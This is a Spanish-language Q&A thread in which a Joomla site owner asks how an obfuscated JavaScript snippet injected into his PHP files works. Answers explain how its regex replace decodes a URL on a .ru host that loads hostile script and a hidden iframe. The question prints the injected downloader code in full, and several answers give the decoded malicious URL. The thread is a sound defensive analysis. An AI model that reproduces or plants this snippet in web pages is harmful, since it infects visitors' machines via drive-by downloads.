¿Cómo funciona este script que infecta el sitio?

99

Mi Joomla! sitio web ha sido pirateado repetidamente. Alguien, de alguna manera, logró inyectar la siguiente basura en los scripts clave de php, pero no quiero hablar de la configuración de Joomla. El sitio no se visita mucho (a veces me temo que podría ser el único visitante de ese sitio ...) y no me importa mucho que el sitio vuelva a funcionar. Me encargaré de eso eventualmente.

Mi pregunta es, ¿cómo funciona esta basura? Lo miro y no veo cómo se las arregla para hacer daño. Lo que hace es intentar descargar un archivo PDF llamado ChangeLog.pdf, que está infectado con un troyano y después de abrir congelará tu Acrobat y causará estragos en tu máquina. ¿Cómo lo hace? No lo sé, no me importa. Pero, ¿cómo la siguiente secuencia de comandos invoca la descarga?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET ha detectado este código como troyano JS / TrojanDownloader.Agent.NRO

Peter Perháč
fuente
41
¡Por favor, que nadie se desvíe para ver el enlace por curiosidad!
DOK
1
Sí, no deambule tratando de averiguar qué está pasando, la magia está en la codificación simple de la URL y la posterior decodificación / análisis de la cadena usando Reemplazar / RegEx que ve al final de la línea.
DoctorLouie
13
"fragmento de guión" se leía como otra cosa, al principio.
Aditya MP

Respuestas:

181

Note la replacellamada después de la cadena desordenado gigante: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Elimina la mayoría de los caracteres especiales y la convierte en una URL normal:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(Cambié manualmente http:a evil:)

Tenga en cuenta que la expresión regular podría haberse simplificado a .replace(/[#$@^&()!]/ig, '')

Si observa el script, verá que es un script muy simple que inyecta un IFRAME oculto que contiene la ruta /index.php?ysdel mismo dominio.

Solicité esa página en Fiddler y no tenía contenido.

SLaks
fuente
6
Creo que el script que proporciona el contenido del iframe está hecho para no iniciar la descarga del pdf cada vez. Puede haber una probabilidad de 1 en 10 o algo así. No intentó descargar el pdf cada vez que actualizaba la página de joomla. Podría ser incluso 1 de cada 100 ... ¿quién sabe?
Peter Perháč
174
+1 por mencionar que el código podría haberse escrito de manera más eficiente. :)
Pekka
8
@Pekka, creo que fue escrito deliberadamente de esa manera para que sea más oscuro
Vista elíptica
7
@Elipticalview Definitivamente. Si el escritor estuviera preocupado por la eficiencia, ciertamente no habría usado un reemplazo de RegEx para derivar una cadena estática. Jajaja
Dan Bechard
No veo de qué sirve un modificador de patrón que no distingue entre mayúsculas y minúsculas para un patrón sin letras. También usaría una +clase de personaje después ... si usaregex.
mickmackusa
34

Estas respuestas pueden ayudarlo a comprender la naturaleza del código JavaScript malicioso, pero lo que debe buscar es una forma de cerrar la laguna inherente al motor Joomla. Los marcos preempaquetados son propensos a lagunas, ya sean intencionales o no, especialmente cuando se tiene en cuenta que están diseñados para funcionar en entornos Unix, Mac y Windows.

Mi trabajo requiere que ejecute muchos dominios, aplicaciones y marcos en muchos tipos de servidores y sistemas para los clientes y para mí. Con el tiempo, he visto más y más bots rastreando estos sistemas en busca de lagunas / entradas conocidas a través de las puertas traseras creadas por esos marcos. Lo bueno es que cuando uso cualquier tipo de marco, lo que rara vez hago, me aseguro de cambiar el nombre de la mayoría, si no de toda la estructura de archivos, para deshacerme de esas molestas lagunas / puertas traseras. Como mínimo, puede cambiar el nombre de los directorios, lo que eliminará la mayoría de los bots, pero mi manera es eliminar por completo las referencias que dan pistas sobre la naturaleza del marco, lo que incluye el cambio de nombre de toda la estructura de archivos, no solo los directorios. Mantenga siempre un mapa de las nuevas convenciones de nomenclatura en relación con las antiguas convenciones de nomenclatura para facilitar la adición de complementos a su marco base. Una vez que lo domine, puede ir tan lejos como para cambiar el nombre de la estructura de archivos del marco mediante programación para obtener resultados más rápidos, esto es especialmente útil cuando tiene que lidiar con clientes que necesitan poder actualizar su marco con complementos y similares.

DoctorLouie
fuente
1
Simplemente no elimine información sobre la fuente del marco, eso sería completamente incorrecto.
DoctorLouie
2
Oooo, gracias. Esa es una buena respuesta. Realmente no respondí la pregunta, pero aun así +1, ya que esta fue una lectura muy interesante y buenas sugerencias. Ta
Peter Perháč
20

Simplemente reemplaza la expresión regular en la URL del script para darle

NOTA: NO SIGA EL ENLACE ABAJO (insertado **para disuadir a los copiadoras)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

como el src

Russ Cam
fuente
tan simple como eso, ¿verdad? Dios mío ... he sido pwnd por SO de nuevo :)
Peter Perháč
23
Esa es una URL divertida.
Jordan Running
@Josh - Depende de usted, no lo he probado, así que no puedo decirle exactamente por qué. Sospecho que puede haber scripts maliciosos en la página. ¡Puede hacerlo bajo su propio riesgo!
Russ Cam
8

Utiliza la función de reemplazo para reemplazar los caracteres basura usando expresiones regulares, no hay nada de malo en el código:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
Sarfraz
fuente
7

Su script de carga de

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

Y ese script se carga iframecon visibilidadhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

fuente
2

Cuando lee todo, encuentra que es una cadena seguida de un comando de reemplazo.

Raj Más
fuente
2

Tengo el mismo sript en mis páginas en archivos index *. *. Estoy escribiendo mi propio código en PHP. Mi pregunta no es cómo funciona esto, sino cómo protegerse si conoce sus puertas traseras. Cambié de formulario y leí $ _POST y $ _GET reemplazando <> y http: // etc.

Kulik
fuente
2

Mis dos centavos. ¿Tiene / puede instalar una herramienta de copia de seguridad de Joomla como Joomlapack?

Lo configuré para que se ejecute a través de un script CHRON para tener los productos a mano en caso de que los atracadores lleguen a atracar.

¿Qué versión de Joomla estás ejecutando?

Las versiones 1.0.X ya no se actualizan, y su edad realmente comienza a mostrarse. Te debes a ti mismo hacer una copia de seguridad y planear actualizar a 1.5 y anticipar las maravillas de 1.6

Greenkoi
fuente